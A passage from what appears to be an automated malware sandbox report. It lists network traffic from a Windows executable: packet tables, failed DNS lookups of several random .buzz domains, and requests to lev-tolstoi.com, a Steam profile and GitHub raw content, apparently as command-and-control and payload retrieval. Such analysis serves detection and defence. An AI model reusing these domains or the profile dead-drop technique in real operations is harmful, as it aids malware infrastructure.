Jan 1, 2025 16:54:59.918556929 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.918579102 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.918617964 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.918625116 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.918658018 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.918669939 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.919006109 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.919024944 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.919064045 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.919070005 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.919105053 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.919120073 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.934248924 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.934264898 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.934298038 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.934366941 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.934376955 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.934412956 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.934423923 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.934429884 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.934447050 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.934453011 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.934483051 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.934510946 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.934595108 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.934611082 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.934648037 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.934658051 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.934695959 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.934705973 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.007515907 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.007534027 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.007601023 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.007611036 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.007644892 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.007663012 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.007668972 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.007678986 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.007695913 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.007725954 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.007731915 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.007762909 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.007771969 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.007905960 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.008057117 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.009156942 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.009165049 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.009219885 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.009228945 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.009284019 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.009448051 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.009464979 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.009517908 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.009526014 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.009572983 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.009876966 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.009896040 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.009936094 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.009942055 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.009968996 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.009991884 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.025194883 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.025213957 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.025269032 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.025275946 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.025314093 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.025454044 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.025470972 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.025506020 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.025511026 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.025540113 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.025561094 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.025646925 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.025661945 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.025693893 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.025701046 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.025724888 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.025743008 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.098478079 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.098504066 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.098536015 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.098550081 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.098578930 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.098592043 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.098651886 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.098668098 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.098697901 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.098705053 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.098732948 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.098752975 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.100107908 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.100126028 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.100158930 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.100166082 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.100198030 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.100204945 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.100428104 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.100447893 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.100475073 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.100481987 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.100497961 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.100519896 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.100811958 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.100830078 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.100858927 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.100867033 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.100893974 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.100912094 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.116338015 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.116357088 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.116380930 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.116420031 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.116425037 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.116434097 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.116452932 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.116466999 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.116497040 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.116502047 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.116539001 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.116666079 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.116681099 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.116712093 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.116719007 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.116743088 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.116753101 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.189379930 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.189404964 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.189491987 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.189503908 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.189543009 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.189563036 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.189582109 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.189629078 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.189636946 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.189671993 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.190977097 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.190994978 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.191026926 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.191034079 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.191061020 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.191075087 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.191330910 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.191399097 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.191402912 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.191416025 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.191457033 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.191728115 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.191745043 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.191787958 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.191795111 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.191831112 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.207123995 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.207144022 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.207218885 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.207227945 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.207266092 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.207336903 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.207354069 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.207396030 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.207406998 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.207442999 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.207618952 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.207634926 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.207680941 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.207693100 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.207736015 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.280339956 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.280399084 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.280405998 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.280505896 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.280505896 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.280519009 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.280534029 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.280560970 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.280570984 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.280584097 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.281848907 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.281862974 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.281924009 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.281939983 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.282258034 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.282274008 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.282315016 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.282321930 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.282356024 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.282839060 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.282855034 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.282912016 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.282921076 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.298095942 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.298114061 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.298182964 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.298197031 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.298369884 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.298384905 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.298453093 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.298460960 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.298615932 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.298629999 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.298661947 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.298670053 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.298687935 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.339937925 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.371476889 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.371495962 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.371613026 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.371623039 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.371644974 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.371651888 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.371659040 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.371674061 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.371687889 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.371722937 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.371727943 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.371788979 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.372901917 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.372916937 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.372971058 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.372978926 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.373012066 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.373018980 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.373238087 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.373255968 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.373291969 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.373297930 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.373322964 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.373342037 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.373567104 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.373600960 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.373632908 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.373641968 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.373651981 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.373655081 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.373698950 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.432573080 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.572967052 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.572999001 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:55:00.573009968 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:55:00.573018074 CET	443	49997	185.199.109.133	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 16:54:33.838625908 CET	63151	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:54:33.848455906 CET	53	63151	1.1.1.1	192.168.2.6
Jan 1, 2025 16:54:33.852246046 CET	49600	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:54:33.861442089 CET	53	49600	1.1.1.1	192.168.2.6
Jan 1, 2025 16:54:33.864192009 CET	63709	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:54:33.873198032 CET	53	63709	1.1.1.1	192.168.2.6
Jan 1, 2025 16:54:33.875845909 CET	62709	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:54:33.884897947 CET	53	62709	1.1.1.1	192.168.2.6
Jan 1, 2025 16:54:33.888335943 CET	61208	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:54:33.897542953 CET	53	61208	1.1.1.1	192.168.2.6
Jan 1, 2025 16:54:33.900312901 CET	56868	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:54:33.908869028 CET	53	56868	1.1.1.1	192.168.2.6
Jan 1, 2025 16:54:33.911861897 CET	61221	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:54:33.921081066 CET	53	61221	1.1.1.1	192.168.2.6
Jan 1, 2025 16:54:33.923521042 CET	54694	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:54:33.932512999 CET	53	54694	1.1.1.1	192.168.2.6
Jan 1, 2025 16:54:33.938271046 CET	55750	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:54:33.945029020 CET	53	55750	1.1.1.1	192.168.2.6
Jan 1, 2025 16:54:35.229347944 CET	53042	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:54:35.243176937 CET	53	53042	1.1.1.1	192.168.2.6
Jan 1, 2025 16:54:51.795370102 CET	52147	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:54:51.802056074 CET	53	52147	1.1.1.1	192.168.2.6
Jan 1, 2025 16:54:53.322099924 CET	61917	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:54:53.328660965 CET	53	61917	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 1, 2025 16:54:33.838625908 CET	192.168.2.6	1.1.1.1	0x488c	Standard query (0)	hummskitnj.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.852246046 CET	192.168.2.6	1.1.1.1	0x5740	Standard query (0)	prisonyfork.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.864192009 CET	192.168.2.6	1.1.1.1	0x9082	Standard query (0)	rebuildeso.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.875845909 CET	192.168.2.6	1.1.1.1	0xf9f6	Standard query (0)	scentniej.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.888335943 CET	192.168.2.6	1.1.1.1	0xd6bf	Standard query (0)	inherineau.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.900312901 CET	192.168.2.6	1.1.1.1	0x5e0c	Standard query (0)	screwamusresz.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.911861897 CET	192.168.2.6	1.1.1.1	0x3f6d	Standard query (0)	appliacnesot.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.923521042 CET	192.168.2.6	1.1.1.1	0xe650	Standard query (0)	cashfuzysao.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.938271046 CET	192.168.2.6	1.1.1.1	0x6a7e	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:35.229347944 CET	192.168.2.6	1.1.1.1	0x8867	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:51.795370102 CET	192.168.2.6	1.1.1.1	0x9d2	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:53.322099924 CET	192.168.2.6	1.1.1.1	0xc101	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 1, 2025 16:54:33.848455906 CET	1.1.1.1	192.168.2.6	0x488c	Name error (3)	hummskitnj.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.861442089 CET	1.1.1.1	192.168.2.6	0x5740	Name error (3)	prisonyfork.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.873198032 CET	1.1.1.1	192.168.2.6	0x9082	Name error (3)	rebuildeso.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.884897947 CET	1.1.1.1	192.168.2.6	0xf9f6	Name error (3)	scentniej.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.897542953 CET	1.1.1.1	192.168.2.6	0xd6bf	Name error (3)	inherineau.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.908869028 CET	1.1.1.1	192.168.2.6	0x5e0c	Name error (3)	screwamusresz.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.921081066 CET	1.1.1.1	192.168.2.6	0x3f6d	Name error (3)	appliacnesot.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.932512999 CET	1.1.1.1	192.168.2.6	0xe650	Name error (3)	cashfuzysao.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:33.945029020 CET	1.1.1.1	192.168.2.6	0x6a7e	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:35.243176937 CET	1.1.1.1	192.168.2.6	0x8867	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:35.243176937 CET	1.1.1.1	192.168.2.6	0x8867	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:51.802056074 CET	1.1.1.1	192.168.2.6	0x9d2	No error (0)	github.com		140.82.121.4	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:53.328660965 CET	1.1.1.1	192.168.2.6	0xc101	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:53.328660965 CET	1.1.1.1	192.168.2.6	0xc101	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:53.328660965 CET	1.1.1.1	192.168.2.6	0xc101	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:54:53.328660965 CET	1.1.1.1	192.168.2.6	0xc101	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

github.com

raw.githubusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49986	104.102.49.254	443	4784	C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:54:34 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2025-01-01 15:54:35 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 01 Jan 2025 15:54:35 GMT Content-Length: 35121 Connection: close Set-Cookie: 